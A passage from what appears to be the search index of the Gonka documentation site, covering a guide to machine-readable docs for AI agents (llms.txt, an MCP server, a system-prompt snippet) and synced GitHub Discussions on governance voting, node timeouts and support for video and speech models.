Gonka Docs is designed as a single source of truth for AI agents. Your coding assistant, custom GPT, or autonomous agent can discover and use all documentation without you copying content by hand.
"}, {"location": "agents/#machine-readable-discovery-files", "title": "Machine-readable discovery files", "text": "We serve standard llms.txt files that AI agents check automatically when they need to understand a service.
Add this to your project's rules file (.cursorrules, .windsurfrules, or AGENTS.md):
# Gonka Documentation\n\nWhen working with Gonka (decentralized AI inference network), use these resources:\n- Quick overview: https://gonkadocs.com/llms.txt\n- Full docs: https://gonkadocs.com/llms-full.txt\n- API spec: https://gonkadocs.com/openapi.yaml\n\nKey sections:\n /gonka/docs/ → Protocol documentation (architecture, quickstart, wallet)\n /gonka/docs/zh/ → Chinese translations of protocol docs\n /community/ → Roadmap, committees\n /community/discussion/ → GitHub Discussions (proposals, Q&A, show-and-tell)\n /community/issues/ → GitHub Issues (bugs, features, enhancements)\n /community/gonka restitution committee/ → GRC (bug compensation)\n /community/governance support committee/ → GSC (self-governance)\n /proposals/proposals/ → On-chain governance proposals by quarter with funding amounts and source (Community Pool / Gov Module)\n /proposals/preproposals/ → Community pre-proposals (off-chain indicative polls)\n\nEvery page is also available as markdown at {url}.html.md (e.g. /gonka/docs/architecture/index.html.md).\nFetch /llms-full.txt for complete documentation before writing code.\nFor AI agents that support MCP (Model Context Protocol), we provide a server with tools:
{\n \"mcpServers\": {\n \"gonka-docs\": {\n \"command\": \"python3\",\n \"args\": [\"buildtools/mcp-server.py\"]\n }\n }\n}\nAvailable tools: - search_gonka_docs(query) — search across all documentation - read_gonka_page(url) — read a specific documentation page - list_gonka_sections() — list all available sections - read_gonka_llms_full(max_chars) — get the full documentation context (optionally limit chars) - read_gonka_proposal(id) — read a governance proposal
Add this to the system prompt of your GPT or Assistant:
# System prompt addition:\n\nYou can access Gonka documentation via gonkadocs.com.\nTo discover information, fetch:\n https://gonkadocs.com/llms.txt (quick overview)\n https://gonkadocs.com/llms-full.txt (complete docs)\n\nKey topics:\n- Architecture: Proof of Compute consensus, inference flows, epochs\n- Developer: OpenAI-compatible API, inference via brokers\n- Host: GPU resource connection, node management\n- Wallet: Accounts, collateral, cross-chain (USDT/GNK)\n- Governance: Proposals, voting\n- GRC (Restitution): /community/gonka restitution committee/\n- GSC (Self-Governance): /community/governance support committee/\n- On-Chain Proposals: /proposals/proposals/ — quarterly overviews with status, funding amounts, and source (Community Pool / Gov Module)\n- Pre-Proposals: /proposals/preproposals/ — community grant requests and polls\n- Issues: Bugs, feature requests, enhancements from gonka-ai/gonka\n- Chinese docs: /gonka/docs/zh/\nFor fully autonomous agents (LangChain, AutoGPT, custom bots), the recommended flow is:
https://gonkadocs.com/llms.txt for quick context (project overview, key concepts)https://gonkadocs.com/llms-full.txt for complete documentation/proposals/proposals/ for the overview page, then drill into a specific quarter (e.g., /proposals/proposals/2026-q2/) and individual proposal pages (e.g., /proposals/proposals/2026-q2/74/) — each page includes funding amounts with source labels{url}.html.md (e.g., /gonka/docs/architecture/index.html.md) for easier parsing/gonka/docs/zh/ with its own sitemap at /gonka/docs/zh/sitemap.xml# Example: Python agent discovering Gonka docs\nimport requests\n\n# 1. Get quick overview\noverview = requests.get(\"https://gonkadocs.com/llms.txt\").text\nprint(overview[:500])\n\n# 2. Search for specific topic\n# Use the search index to find relevant pages\nsearch_index = requests.get(\"https://gonkadocs.com/search/search_index.json\").json()\n\n# 3. Find docs about architecture\nfor doc in search_index[\"docs\"]:\n if \"architecture\" in doc.get(\"location\", \"\").lower():\n print(f\"Found: {doc['location']}\")\nCommunity Pool or Gov Module), organized by quarter with per-quarter summaries and totals/gonka/docs/zh/ for translated protocol documentationUser: \"Explain Gonka architecture\"
Agent fetches /llms.txt, finds the Architecture section, then reads /gonka/docs/architecture/ for detailed explanation of Proof of Compute consensus and inference flows.
User: \"How do I run a Gonka node?\"
Agent fetches /llms-full.txt, locates the Host Quickstart section, and provides step-by-step instructions for connecting GPU resources.
User: \"What governance proposals are active?\"
Agent fetches /proposals/proposals/ page, identifies active proposals by status badge, and lists them with their descriptions, tally results, and funding amounts with sources (Community Pool / Gov Module).
User: \"How much funding has been approved this quarter and where does it come from?\"
Agent fetches /proposals/proposals/, reads the current quarter's summary section which includes the total approved GNK/USDT broken down by funding source (Community Pool and Gov Module).
User: \"How do I call the inference API?\"
Agent fetches /openapi.yaml for the API spec, then provides code examples for calling the OpenAI-compatible /v1/chat/completions endpoint.
User: \"What's the roadmap for Gonka?\"
Agent fetches /community/roadmap/ and summarizes the three-horizon development strategy.
User: \"What open issues exist for the Gonka project?\"
Agent fetches /community/issues/ and lists recent open issues with their titles, labels, and authors from the gonka-ai/gonka repository.
Full documentation: llms-full.txt · API spec: openapi.yaml · GitHub: Daniil-Zotov/gonkadocs
"}, {"location": "community/", "title": "Gonka Community", "text": "Welcome to the Gonka community hub. This section brings together governance committees, discussions, roadmap, and everything you need to participate in the network's development.
"}, {"location": "community/#governance-committees", "title": "Governance Committees", "text": "Gonka governance is supported by specialized committees that help evaluate proposals, coordinate execution, and ensure transparency.
"}, {"location": "community/#gonka-product-committee", "title": "Gonka Product Committee", "text": "Evaluates proposals for product value, risks, and roadmap alignment. Publishes scored assessments using the Proposal Scoring Framework v1.
A service committee that makes the governance process clear, transparent, and convenient for proposal authors, hosts, and the community. Does not evaluate proposals — supports the process.
Develops go-to-market direction: from formulating tasks for external contractors and coordinating with them to evaluating marketing proposals, checking team expertise, and controlling execution quality.
Handles compensation for losses caused by protocol bugs and unpredictable behavior. Pre-filters protocol-related claims and groups incidents for general votes.
The Gonka Network Development Roadmap outlines the three-horizon strategy for protocol evolution: infrastructure scaling, product maturity, and ecosystem growth.
"}, {"location": "community/#discussions", "title": "Discussions", "text": "Community conversations organized by topic:
Track bugs, feature requests, and enhancements from the gonka-ai/gonka repository.
"}, {"location": "community/#how-to-participate", "title": "How to Participate", "text": "This documentation is maintained by the Gonka community.
"}, {"location": "community/discussion/", "title": "GitHub Discussions —gonka-ai/gonka", "text": "Срез всех обсуждений из репозитория gonka-ai/gonka. Всего: 79. Обновлено: 2026-07-26 07:44 UTC.
devshard Height-sync protocol Proposals @alexanderkuprin 2026-07-02 1384 devshard cPoC skip protocol Proposals @akup 2026-07-01 1369 Finalization protocol proposal (host-initiated, collectors, commit certificate) Proposals @akup 2026-07-01 1374 Gonka AI Dune Dashboard Show and Tell @genkisudo 2026-06-29 1335 Add support for speech-to-text (ASR) models Proposals @ivan-smetannikov-serokell 2026-06-22 1354 I would like to ask if the developers intentionally pushed inference data to the main chain, causing some nodes to lose their epoch rewards. Q&A @Llgmhsl 2026-06-21 1345 Network Documentation Proposals @heitor-lassarote 2026-06-16 944 Gonka's support of new modalities besides text General @tamazgadaev 2026-06-15 1334 Devshard E2E Test Automation Proposal Proposals @aikuznetsov 2026-06-12"}, {"location": "community/discussion/announcements/", "title": "Announcements", "text": "Дискуссии в категории Announcements. Всего: 1. Обновлено: 2026-07-26 07:44 UTC.
← ко всем категориям
# Заголовок Автор Обновлено 805 Welcome to Gonka Discussions 👋 @admin 2026-02-25"}, {"location": "community/discussion/announcements/0805-welcome-to-gonka-discussions/", "title": "#805 — Welcome to Gonka Discussions 👋", "text": "🔄 Auto-sync: from Discussion #805 every hour.
"}, {"location": "community/discussion/announcements/0805-welcome-to-gonka-discussions/#welcome-to-gonka-discussions", "title": "Welcome to Gonka Discussions 👋", "text": "Автор: @admin · Категория: Announcements · Создано: 2026-02-25 22:49 UTC · Обновлено: 2026-02-25 22:49 UTC
"}, {"location": "community/discussion/announcements/0805-welcome-to-gonka-discussions/#_1", "title": "📝 Описание", "text": "This is the space for open conversation about the Gonka protocol, ecosystem, and community. Ask questions, share what you've built, propose improvements, and gather feedback from the community.
"}, {"location": "community/discussion/announcements/0805-welcome-to-gonka-discussions/#sections", "title": "Sections", "text": "Upvote topics that matter to you, it helps surface what the community cares about most. Respond, discuss, and engage with others' ideas. If you've written a proposal, use Discord and other platforms to promote it and gather broader feedback.
"}, {"location": "community/discussion/announcements/0805-welcome-to-gonka-discussions/#community-guidelines", "title": "Community guidelines", "text": "Дискуссии в категории General. Всего: 5. Обновлено: 2026-07-26 07:44 UTC.
← ко всем категориям
# Заголовок Автор Обновлено 1304 APS for delegated wallets and agent accounts (Track 2, Project 3) @aeoess 2026-06-04 944 Gonka's support of new modalities besides text @tamazgadaev 2026-06-15 817 Network reliability and performance coordination (slow nodes, DB growth, missed inference) @tcharchian 2026-03-12 798 How can governance voting become easier for Hosts? @tcharchian 2026-03-06 670 Kimi K2.5 @Yockium 2026-02-26"}, {"location": "community/discussion/general/0670-kimi-k25/", "title": "#670 — Kimi K2.5", "text": "🔄 Auto-sync: from Discussion #670 every hour.
"}, {"location": "community/discussion/general/0670-kimi-k25/#kimi-k25", "title": "Kimi K2.5", "text": "Автор: @Yockium · Категория: General · Создано: 2026-01-30 13:07 UTC · Обновлено: 2026-02-26 21:07 UTC
"}, {"location": "community/discussion/general/0670-kimi-k25/#_1", "title": "📝 Описание", "text": "Hi, I'm trying to understand the technical bounderies of Gonka.
I like the idea behind the project, so want to try it out, but I need something beyond currently available models. Would it be possible to add kimi k2.5 to the infrastructure? If not, what are the main blockers?
I'm still learning about llms, sorry if this seems to be a naive question.
Thanks!
"}, {"location": "community/discussion/general/0670-kimi-k25/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/general/0670-kimi-k25/#1-votkon", "title": "Комментарий 1 — @votkon", "text": "2026-02-26 21:07 UTC
It's totally doable and the new models are expected to appear once the PoC v2 is deployed. I think Gonka is a few upgrades from this and it will start the Cambrian explosion of supported models, not just the kimi k2.5(which is a great model). There were some thoughts on this from Gonka creators, in one of the AMA's. You can search \"Kimi\" in the transcript here: https://gonkatalk.org/t/txt-gonka-ai-ama-collateral-strategy-epoch-180/39
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/", "title": "#798 — How can governance voting become easier for Hosts?", "text": "🔄 Auto-sync: from Discussion #798 every hour.
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#how-can-governance-voting-become-easier-for-hosts", "title": "How can governance voting become easier for Hosts?", "text": "Автор: @tcharchian · Категория: General · Создано: 2026-02-24 21:46 UTC · Обновлено: 2026-03-06 23:47 UTC
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#_1", "title": "📝 Описание", "text": "Hi everyone, the goal of this thread is to increase governance participation and voter turnout. Feedback is needed on what would make voting easier to notice, faster to understand, and simpler to complete.
What currently blocks participation
If recent votes were skipped, what were the main reasons? - The vote was not noticed in time - The voting window was too short - The proposal summary was not clear enough to decide quickly - Too much context was required to evaluate impact and risk - Voting felt too manual and easy to miss (ops workload, timezones, tooling) - It was unclear whether an individual's vote matters
What would increase turnout
Please share what would actually help.
If yes, what duration feels reasonable?
Earlier notification
Which channels work best (Discord, GitHub, Telegram, other)?
What format helps to decide faster?
Concrete examples (numbers, scenarios)
Mandatory voting for Hosts. This option has obvious tradeoffs and it would be useful to understand likely behavior.
What makes it easy today? Any workflow or tooling recommendations are welcome.
Goal of this discussion: identify concrete, low-friction changes that increase turnout without turning governance into a checkbox process.
Thanks for sharing specifics - what should change and why.
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#1-aktum1", "title": "Комментарий 1 — @Aktum1", "text": "2026-02-27 08:11 UTC
I'd like to see a video review of each propnode with an in-depth analysis of each proposed change.
The voting window doesn't need to be increased.
I think we could impose a penalty for not voting, say 10% of the rewards for the next 30 epochs. Voting is not a right, but an obligation.
A mechanism for delegating voting rights could be developed.
Wallets with voting functionality, in my opinion, are unnecessary, since all miners know how to use the CLI and they certainly don't want to import their seed phrases into any third-party applications.
Хотелось бы увидеть видеообзор каждого пропоузела с подробным анализом каждого предлагаемого изменения.
Окно голосования увеличивать не нужно.
Думаю, можно ввести штраф за неучастие в голосовании, например, 10% от вознаграждения за следующие 30 эпох. Голосование — это не право, а обязанность.
Можно разработать механизм делегирования прав голоса.
Кошельки с функцией голосования, на мой взгляд, излишни, поскольку все майнеры умеют пользоваться CLI и, конечно же, не хотят импортировать свои сид-фразы в сторонние приложения.
↳ Ответ от @tcharchian · 2026-03-06 23:47 UTC
I think we could impose a penalty for not voting, say 10% of the rewards for the next 30 epochs. Voting is not a right, but an obligation.
In such cases, some operators may choose to set up a simple script to automatically vote No to avoid missing the voting window and potentially losing rewards.
A mechanism for delegating voting rights could be developed.
You are right. Some node operators do not have access to the cold key and therefore cannot vote directly for the node. At the same time, the owner of the cold key may not always be available during the voting window. Since the governance voting period is relatively short, it can make sense to grant voting permission in advance, as shown in the example below.
Here is the guide on how to grant permission for voting on your behalf: https://gonka.ai/FAQ/#what-should-i-do-if-i-cannot-vote-because-i-do-not-have-access-to-the-cold-key-or-if-i-want-another-key-to-vote-on-my-behalf
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#2-sy-media", "title": "Комментарий 2 — @SY-MEDIA", "text": "2026-02-27 10:21 UTC
Would love to vote, but as far as I can tell, I'm excluded due to an exploited design bug. My node can't participate even for unpaid inference. As far as I know, unless a node is on the whitelist it can't vote.
If I could vote, I'd vote even though I feel the voting has been rendered almost pointless by the fact that voters are now all a single demographic. Because only a very large model is possible to run on the system, voting would tend to be in favour of that one population and one income stream.
"}, {"location": "community/discussion/general/0798-how-can-governance-voting-become-easier-for-hosts/#3-laboltus", "title": "Комментарий 3 — @Laboltus", "text": "2026-03-04 11:18 UTC
The 24-hour voting period is too short, especially on weekends/holidays. And I think any proposal should include a detailed explanation of why it's important.
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/", "title": "#817 — Network reliability and performance coordination (slow nodes, DB growth, missed inference)", "text": "🔄 Auto-sync: from Discussion #817 every hour.
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#network-reliability-and-performance-coordination-slow-nodes-db-growth-missed-inference", "title": "Network reliability and performance coordination (slow nodes, DB growth, missed inference)", "text": "Автор: @tcharchian · Категория: General · Создано: 2026-02-27 21:05 UTC · Обновлено: 2026-03-12 19:01 UTC
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#_1", "title": "📝 Описание", "text": "Goal: collect signals, converge on root causes
This discussion is for high-level coordination and evidence gathering. Implementation work is tracked in the linked epics (issues).
Topics: 1) Node slowdowns reported by multiple hosts over the last few days 2) application.db growth (pruning not effective) 3) Missed inference on some nodes
Notes - If you have partial data, post it anyway. - If you want to help implement, comment on the relevant issue
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#1-icydark", "title": "Комментарий 1 — @icydark", "text": "2026-03-03 07:18 UTC
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#signal-502-missed-requests-on-4090-when-handling-large-token-requests-proxy-read-timeout-900s", "title": "Signal 502 / missed requests on 4090 when handling large-token requests — proxy read timeout (900s)", "text": "Environment GPU: RTX 4090 (48GB)
What we're seeing We see some chat completion requests end in 502 Bad Gateway and effectively count as missed inference. From our logs: 1. vLLM logs: Aborted request chatcmpl-xxx 2. API proxy logs: Failed to connect to vLLM backend → httpx.ReadTimeout 3. Client receives 502 for POST /v1/chat/completions
Pattern we identified - The failing requests are long-running: long prompts (e.g. multi-document legal extraction) + high max_tokens (e.g. 5000), total time can exceed 15 minutes. - The proxy uses a read timeout of 900 seconds (15 min). When the request runs that long, we hit that timeout, the stream breaks, vLLM aborts the request, and we return 502 → missed request.
Log
2026-02-27T05:35:45.999662386Z INFO 02-26 21:35:45 [logger.py:43] Received request chatcmpl-8e0cadf6a2e64563a1e5a8f914c96fdf: prompt: ... params: SamplingParams(n=1, presence_penalty=0.0, frequency_penalty=0.0, repetition_penalty=1.0, temperature=0.1, top_p=2026-02-27T05:35:45.999662386Z 0.8, top_k=20, min_p=0.0, seed=922553843, stop=[], stop_token_ids=[], bad_words=[], include_stop_str_in_output=False, ignore_eos=False, max_tokens=5000, min_tokens=0, logprobs=5, prompt_logprobs=None, skip_special_tokens=False, spaces_between_special_tokens=True, truncate_prompt_tokens=None, guided_decoding=None, extra_args=None, enforced_token_ids=None, prompt_token_ids: None, prompt_embeds shape: None, lora_request: None, prompt_adapter_request: None.\n2026-02-27T05:35:46.000070586Z INFO 02-26 21:35:45 [async_llm_engine.py:212] Added request chatcmpl-8e0cadf6a2e64563a1e5a8f914c96fdf.\n...\n2026-02-27T05:50:45.969437878Z INFO 02-26 21:50:45 [async_llm_engine.py:224] Aborted request chatcmpl-8e0cadf6a2e64563a1e5a8f914c96fdf.\n2026-02-27T05:50:45.970448508Z 2026-02-26 21:50:45,969 - api.proxy - ERROR - Failed to connect to vLLM backend: \nSo on our 4090 nodes, large-token / long-duration requests are more likely to hit this proxy timeout and be reported as missed.
Questions - Is this hardcoded 15‑min proxy read timeout a known limitation elsewhere? We’re considering increasing the proxy read timeout for our deployment to reduce these misses. - Lower-spec nodes (e.g. 4090, 48GB) can complete PoC but have trouble serving larger / long-running inference requests (e.g. proxy timeout → missed requests). Will the network support these nodes going forward?
"}, {"location": "community/discussion/general/0817-network-reliability-and-performance-coordination-slow-nodes-/#2-tcharchian", "title": "Комментарий 2 — @tcharchian", "text": "2026-03-04 00:53 UTC
Hi @icydark! Thanks!
2026-03-12 19:01 UTC
https://github.com/gonka-ai/gonka/pull/867 & https://github.com/gonka-ai/gonka/issues/819
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/", "title": "#944 — Gonka's support of new modalities besides text", "text": "🔄 Auto-sync: from Discussion #944 every hour.
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#gonkas-support-of-new-modalities-besides-text", "title": "Gonka's support of new modalities besides text", "text": "Автор: @tamazgadaev · Категория: General · Создано: 2026-03-25 09:47 UTC · Обновлено: 2026-06-15 12:35 UTC
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#_1", "title": "📝 Описание", "text": "I'd like to start a discussion on how we develop gonka to support new modalities on the network, like speech-to-text, image understanding, video generation etc.
The core tasks for any new modality are: - How to validate inference in this modality - How to run PoC based on this modality - How much load a new modality can create on the network including internet traffic, storage, blockchain load etc.
I'd suggest to use this discussion as free chat on this, possible ideas and aggregator of proposals.
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#2", "title": "💬 Комментарии (2)", "text": ""}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#1-baygeldin", "title": "Комментарий 1 — @baygeldin", "text": "2026-05-01 21:49 UTC
Hello! I'm exploring the possibility of supporting the Wan2.2-T2V-A14B text-to-video model on the Gonka network, and I'd like to discuss a few obstacles that came up.
Why this model in particular: it's arguably the best open-source text-to-video model to date that has a permissive license (Apache 2.0). LTX-2.3 is comparable in terms of performance, but has a much more restrictive custom license which might present additional unnecessary hurdles.
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#inference-validation", "title": "Inference validation", "text": "Current SOTA video generation models are predominantly based on diffusion transformers (DiTs). Unlike autoregressive transformers used in LLMs, DiTs don't build the final result token-by-token. Instead, they start with random noise and repeatedly de-noise it until it resembles the final result. While autoregressive transformers predict the next token, DiTs predict the difference/distance between the noisy input and the slightly less noisy output.
Currently, to validate inference in Gonka, executors store logprobs for each generated token, and then validators \"replay\" the inference and compare logprobs. This wouldn't work very well for DiTs because the predictions are much heavier (we can't just sample the DiTs prediction). More importantly, though, it doesn't even make sense to compare these predictions because in SOTA models the result we get from running the DiT is not the final result.
Specifically, in Wan2.2, DiT operates on a latent/compressed representation of the video, and to get the actual video frames we need to pass that latent representation through a VAE decoder (which is essentially a convolutional neural network). Additionally, to get the final video file it needs to do some post-processing and encode the frames into a video container.
To validate inference honestly and protect against tampering we need to compare the final result (the actual video file which hash we store on-chain). Unfortunately, given the above, it's not straightforward, but here's what I propose: - I think it should be possible to get rid of most of the nondeterminism by supplying the same random noise as input to DiT (maybe we can even generate it by seeding PRNG instead of storing the input noise as an artifact on executor machines). - Due to inherent nondeterminism of GPUs the result will never be the same, but I believe it will be virtually non-distinguishable to a human eye (this needs to be checked, though). - Then, the question becomes \"Given the executor's video file, and the validator's video file generated from the same noisy latent, how can we tell that they are perceptually the same?\".
I'm not sure yet what's the best way to answer this question, but here are some ideas: - We can try encoding the executor's video via VAE encoder (which is not used during inference at all) into the latent representation, then compare how close it is to the one we got during the replay on the validator's side. - Or, perhaps, we can compare the two videos frame-by-frame using similarity metrics such as SSIM or PSNR.
It's also worth mentioning that is TEE proposal is implemented, then another option would be limiting text-to-video models to the trusted environments.
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#proof-of-compute", "title": "Proof-of-Compute", "text": "PoC should be specific to the model because the idea is to prove the computational capacity to run the model. Thanks to multi-model PoC it's now possible to have different models with their own PoCs, but the problem is that it's still based on the LLMs architecture and is tightly integrated into vLLM (which totally makes sense, by the way).
First of all, we would need to adapt the transformer-based PoC to DiTs (I suspect it'd be very similar to how it's currently done in the Gonka's vLLM fork, but this needs to be checked). However, as we saw above, video generation models have a more complex pipeline, so simply structuring PoC after the DiT part of the video model architecture may not be enough. Unlike LLMs that basically have a single computationally significant step (repeated forward passes through the transformer-based network), video generation models also have additional encoders (in case of Wan2.2 it's a small text encoder for the text prompt, and the VAE autoencoder) and post-processing steps. According to the Wan2.1 paper (see 4.3.1 WORKLOAD ANALYSIS) DiT accounts to 85% of computation during training, so it's safe to assume that during inference the situation is at the very least not worse (and likely even better, e.g. 95%+). So, the question is, do we even need to account for other parts such as VAE autoencoder? Or is the overhead so small that we could simply disregard this difference? I'm leaning towards the latter.
Another issue, of course, is the fact that ML nodes run on vLLM which simply doesn't support other modalities. It seems that the best option is to make use of the vLLM-Omni project which is built on top of vLLM and supports Wan2.2. But it still seems like a huge undertaking and I can't realistically estimate how much effort would it take to migrate ML nodes to this.
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#pricing-policy", "title": "Pricing policy", "text": "When it comes to LLMs, pricing is straightforward: we simply charge per token. This works well because the models are autoregressive and, thanks to KV caching, the computational effort grows more or less linearly with the sequence length.
With video generation, we don't have such a metric. The good news is that the final price of a single inference should be pretty much the same if the requested resolution, frame count, and the number of de-noising steps is the same (no matter the prompt). But unlike with autoregressive models, the relationship between these parameters and the needed computational effort is not linear.
TL;DR: - Inference validation seems solvable, but needs some experimentation. - Proof-of-Compute issue is a bit more vague, especially in how much effort it'd take. - Pricing policy needs some consideration.
I'd very much like to hear your opinions on this.
↳ Ответ от @baygeldin · 2026-05-08 16:20 UTC
(expanded on this here: https://github.com/gonka-ai/gonka/discussions/1155)
"}, {"location": "community/discussion/general/0944-gonkas-support-of-new-modalities-besides-text/#2-fedor-konovalenko", "title": "Комментарий 2 — @fedor-konovalenko", "text": "2026-05-08 12:48 UTC
Our team recently conducted research into the feasibility of inference and validation for image2text models; the results can be found here.
https://github.com/gonka-ai/gonka/issues/1026
At the current stage, we have implemented a baseline validation approach similar to the inference validation method used in Gonka. The next logical step would be to adapt and extend this approach specifically for multimodal image-based workflows.
As a continuation of this research, our team could explore inference and validation strategies for the Qwen 3 speech models family, including the TTS model from Qwen3-TTS Collection and the ASR model from Qwen3-ASR Collection.
For ASR models, the existing validation strategy based on Top-N log-probability comparison could likely be reused with minimal adaptation, since the output remains token-based and deterministic enough for confidence estimation and reproducibility checks.
TTS validation, however, would require separate research because the output is continuous audio rather than discrete tokens. Several validation directions could be investigated:
Spectrogram-based validation: - Convert generated audio into Mel spectrograms or log-Mel spectrograms and compare them against reference outputs. - Use similarity metrics such as cosine similarity, MSE, SSIM, or perceptual distance between spectrogram embeddings. - Spectrograms could be stored in compressed NumPy (.npz) format or serialized tensors for efficient offline comparison and regression testing.
Round-trip validation: (additional inference step is needed, more expensive) - Pass generated TTS audio through an ASR model and compare the reconstructed text against the original prompt. - Metrics such as WER/CER could provide indirect validation of intelligibility and stability.
Audio quality metrics: - Evaluate objective metrics such as PESQ, STOI, SI-SDR, or DNSMOS where applicable. - These metrics may help detect degradation caused by quantization, backend changes, or inference optimizations.
↳ Ответ от @ivan-smetannikov-serokell · 2026-06-11 15:31 UTC
Hi @fedor-konovalenko, we've been looking at ASR (speech-to-text) for Gonka too, and just wrote up a proposal: https://github.com/gonka-ai/gonka/discussions/1335. You mentioned the Qwen3 speech family here, and from our pre-research it clearly overlaps with what you're doing due to the architectural specifics. Are you already working on ASR, or is it still open?
↳ Ответ от @fedor-konovalenko · 2026-06-11 20:54 UTC
Hi!
No, we haven't started implementation yet; we're still discussing plans and setting priorities. I'd be happy to collaborate and work together. I read your proposal, it's very well thought out. We can indeed start with models that are compatible with the existing validation mechanism. We can then distribute tasks across ASR to avoid duplicating the same areas.
@ivan-smetannikov-serokell
↳ Ответ от @ivan-smetannikov-serokell · 2026-06-12 18:38 UTC
Nice, thanks for the confirmation! We'll sort a few things out on our side next week and get back to you to work out the plan together then.
↳ Ответ от @a-kuprin · 2026-06-13 09:40 UTC
And what about PoC for these cases?
↳ Ответ от @ivan-smetannikov-serokell · 2026-06-15 12:35 UTC
No full design yet, just wanted to re-confirm that this task is still available. But we think PoC should mostly reuse the sprint: same seeded random embeddings, just run through the ASR/TTS model's layers, in theory it should work for autoregressive models. For Qwen3-ASR it is a bit simpler than Whisper (due to the heavy audio encoder), so we can start with it to test the waters and then move forward with others.
"}, {"location": "community/discussion/general/1304-aps-for-delegated-wallets-and-agent-accounts-track-2-project/", "title": "#1304 — APS for delegated wallets and agent accounts (Track 2, Project 3)", "text": "🔄 Auto-sync: from Discussion #1304 every hour.
"}, {"location": "community/discussion/general/1304-aps-for-delegated-wallets-and-agent-accounts-track-2-project/#aps-for-delegated-wallets-and-agent-accounts-track-2-project-3", "title": "APS for delegated wallets and agent accounts (Track 2, Project 3)", "text": "Автор: @aeoess · Категория: General · Создано: 2026-06-04 01:38 UTC · Обновлено: 2026-06-04 01:38 UTC
"}, {"location": "community/discussion/general/1304-aps-for-delegated-wallets-and-agent-accounts-track-2-project/#_1", "title": "📝 Описание", "text": "Track 2, Project 3 is close to what APS was built for: an agent acting within scoped authority, without exposing the owner's main key and without manual approval on every call. That authorization and audit layer is what APS implements today, open and Apache-2.0, on npm.
The primitives map to the project directly:
Project 3 also covers agents buying compute, not only calling inference. The same model extends to payment: one rail-agnostic interface carrying the same scoped authorization, spend limits, and signed receipts. Reference adapters ship for x402 (USDC on Base) and Nano, with bindings to AP2 (Google's Agent Payments Protocol), Stripe Issuing, and ACP. A Gonka-token rail would implement the same interface and inherit the limits, revocation, and receipts without new machinery.
To be clear on the boundary, APS is not a wallet, custody, or settlement. It sits in front of whatever holds funds and calls inference, decides whether a given agent action is authorized, and leaves a verifiable record that it happened. It runs as a library or an opt-in sidecar and needs no protocol change.
I'd rather show this than describe it, so I'm happy to put up a small reference implementation against the delegated-wallet path. Two questions to target it:
Repo: github.com/aeoess/agent-passport-system · npm: npmjs.com/package/agent-passport-system
"}, {"location": "community/discussion/proposals/", "title": "Proposals", "text": "Дискуссии в категории Proposals. Всего: 47. Обновлено: 2026-07-26 07:44 UTC.
← ко всем категориям
# Заголовок Автор Обновлено 1500 More compute from the same Gonka hardware: two-phase cooling pilot @bitcompool 2026-07-25 1464 Dev Team Funding @gmorgachev 2026-07-20 1445 The missing first mile: onboarding Gonka from a newcomer’s perspective @julb1992 2026-07-25 1404 Add a lower-barrier GLM-5.2 option and consider DeepSeek-V4-Flash as the default model @enonog 2026-07-16 1388 External Test Lab & Community DevNet @paranjko 2026-07-25 1384devshard cPoC skip protocol @akup 2026-07-01 1369 Finalization protocol proposal (host-initiated, collectors, commit certificate) @akup 2026-07-01 1367 High-Availability Architecture @a-kuprin 2026-07-22 1345 Network Documentation @heitor-lassarote 2026-06-16 1340 devshard Height-sync protocol @alexanderkuprin 2026-07-02 1335 Add support for speech-to-text (ASR) models @ivan-smetannikov-serokell 2026-06-22 1334 Devshard E2E Test Automation Proposal @aikuznetsov 2026-06-12 1309 Design and Implementation of Maintenance Windows @heitor-lassarote 2026-06-09 1256 devshard cPoC skip protocol @akup 2026-05-26 1244 devshard technical Height-sync protocol @akup 2026-05-25 1243 Project funding governance and management @a-kuprin 2026-05-25 1230 Proposal: optional signed agent request envelope for Gonka inference @aeoess 2026-05-24 1207 devshard improvement cPoC skip protocol @alexanderkuprin 2026-05-20 1206 devshard improvement Height-sync protocol @alexanderkuprin 2026-05-20 1192 INC4 | Gonka NOP - grant for the node deployment tool @rwxr-xr-x 2026-05-19 1190 devshard improvements cPoC skip protocol — proposal @akup 2026-05-19 1189 devshard improvements Validation protocol: eligibility, in-place checks, and transparent randomness @akup 2026-05-19 1188 devshard improvements Height-sync protocol (needed to support cPoC at devshard and new validation protocol) @akup 2026-05-19 1185 [Public Review] Gonka Network Development Roadmap @paranjko 2026-05-27 1155 Add support for video generation models @baygeldin 2026-05-19 1153 cosmos-sdk fork: genesis.go:151-158 panics on appd export → init — mirror existing PoC skip pattern from delegation.go? @vitaly-andr 2026-05-08 1093 GiP: Provenance & Intent Contracts (PIC) v0.7.5 – Local-First Action Gating for Verifiable AI Agents @madeinplutofabio 2026-04-20 1092 GiP: Neural Computation Protocol (NCP) v0.3.2 – Deterministic WASM Bricks + YAML Graphs for Fast, Auditable Agentic Systems @madeinplutofabio 2026-04-20 1090 Qwen3-235B-A22B-Instruct-2507-FP8 with FP8 KVcache 